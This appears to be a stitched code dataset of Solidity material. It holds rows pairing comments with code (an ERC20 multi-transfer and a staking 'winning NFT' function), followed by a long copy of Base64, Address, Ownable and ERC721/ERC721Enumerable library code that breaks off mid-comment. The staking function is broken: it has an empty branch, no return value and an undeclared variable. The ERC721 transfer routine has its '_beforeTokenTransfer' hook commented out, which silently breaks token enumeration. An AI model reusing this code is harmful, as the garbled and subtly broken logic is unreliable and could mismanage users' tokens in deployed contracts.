for (uint i = 0; i < receivers.length; i++) {
require(amounts[i] > 0 && receivers[i] != 0x0);
token.transferFrom(msg.sender,receivers[i], amounts[i]);
emit transfer(msg.sender, receivers[i], amounts[i], tokenAddress);
}
}
function getTotalSendingAmount(uint256[] _amounts) private pure returns (uint totalSendingAmount) {
for (uint i = 0; i < _amounts.length; i++) {
require(_amounts[i] > 0);
totalSendingAmount += _amounts[i];
}
}
}
|
Transfer multi token ERC20
|
function transferMultiToken(address tokenAddress, address[] receivers, uint256[] amounts) public {
require(receivers.length == amounts.length && receivers.length != 0);
ERC20 token = ERC20(tokenAddress);
for (uint i = 0; i < receivers.length; i++) {
require(amounts[i] > 0 && receivers[i] != 0x0);
token.transferFrom(msg.sender,receivers[i], amounts[i]);
emit transfer(msg.sender, receivers[i], amounts[i], tokenAddress);
}
}
| 213,435
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./full_match/80001/0x9f9a4f3CD309D7f4609fE82F9106d1fb529932EA/sources/contracts/staking.sol
|
Function to calculate the ID of the winning NFTID. Chances of winning are proportional to the amount staked by the users. Only NFTs with stakingStatus true are counted. Calculate the cumulative staking amounts of users with stakingStatus set to true
|
function calculateWinningNFTID() internal view returns (uint) {
uint totalStakingAmount = 0;
for (uint i = 0; i < nftTokenAddress.getNextTokenID(); i++) {
if (users[i].stakingStatus) {
totalStakingAmount += users[i].stakingAmount;
}
}
for (uint i = 0; i < nftTokenAddress.getNextTokenID(); i++) {
if (users[i].stakingStatus) {
cumulativeAmount += users[i].stakingAmount;
if (randomNum <= cumulativeAmount) {
}
}
}
}
Main Functions
-----------------------------------------------------
Reward Functions
| 9,518,688
|
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// SPDX-License-Identifier: MIT
// https://etherscan.io/address/0xb28f5e8da53de004e8cb2b3bfe744126a47081a5#code
pragma solidity ^0.8.7;
/// @title Base64
/// @author Brecht Devos - <brecht@loopring.org>
/// @notice Provides a function for encoding some bytes in base64
library Base64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function uint2str(uint _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bStr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bStr[k] = b1;
_i /= 10;
}
return string(bStr);
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
// _beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
